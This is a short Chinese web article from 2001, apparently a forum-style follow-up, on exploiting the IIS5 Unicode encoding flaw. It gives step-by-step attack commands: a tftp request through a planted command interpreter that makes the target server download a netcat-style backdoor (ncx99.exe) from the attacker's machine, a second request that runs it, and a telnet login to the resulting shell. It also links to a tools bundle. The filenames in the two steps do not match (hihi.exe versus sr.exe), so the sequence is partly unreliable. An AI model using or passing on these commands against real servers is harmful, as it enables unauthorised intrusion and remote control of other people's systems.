开发者网络 动网主机 支持论坛 邮局 帮助
当前位置:网络学院ASP技术安全加密 → IIS5 UNICODE 编码漏洞的利用心得补充
IIS5 UNICODE 编码漏洞的利用心得补充
日期:2001年5月6日 作者:零点 人气:     [ ]
看了你的文章【unicode】写的很好,
我来说说用tftp怎么搞:
下载http://www.cners.com/tools/unicode.zip(下载快着呢)
解压:
tftpd32.exe
ncx99.exe

本机运行tftpd32.exe
再(接着你的来):

http://192.168.8.48/scripts/ccc.exe?/c+tftp -i 本地ip GET ncx99.exe c:\\inetpub\\scripts\\hihi.exe

注意了:这是将你本机的ncx99.exe 上传到对方的 scripts下!
下面执行它:
http://192.168.8.48/scripts/ccc.exe?/c+c:\inetpub\scripts\sr.exe

这时在你的tftp上就能看到对方ip的信息了!

下面可以干的就不用说了!

用telnet 或SecureCRT.EXE软件登陆192.168.8.48就可以了!(推荐用SecureCrt)

{
零点
http://www.net7b.com{我的站点}
http://www.net7b.com/net7b_heike(网络奇兵网络安全中心)

(出处:http://www.net7b.com)

相关文章:
 
·SQL注入漏洞全接触--高级篇(二)
·SQL注入漏洞全接触--高级篇(一)
·SQL注入漏洞全接触--进阶篇(二)
·SQL注入漏洞全接触--进阶篇(一)
·SQL注入漏洞全接触--入门篇(二)
·SQL注入漏洞全接触--入门篇(一)
·自動化檢查 IIS 5.0 的安全漏洞
·IIS5 UNICODE 编码漏洞的利用心得
·一个用c#写的扫描asp源码漏洞的应用程序(续)
·一个用c#写的扫描asp源码漏洞的应用程序
相关软件:
 
说明:本站部分内容收集于网络,如有侵犯您的权益请来信告知,我们会第一时间进行处理,谢谢
 → 特别推荐
 → 热点TOP10

关于本站 | 诚聘英才 | 业务合作 | 联系我们 | 广告合作 | 收藏本站

海口动网先锋网络科技有限公司版权所有
Copyright ? 2000 - 2003 AspSky.Net
中华人民共和国电信与信息服务业务经营许可证编号 琼 ICP 020077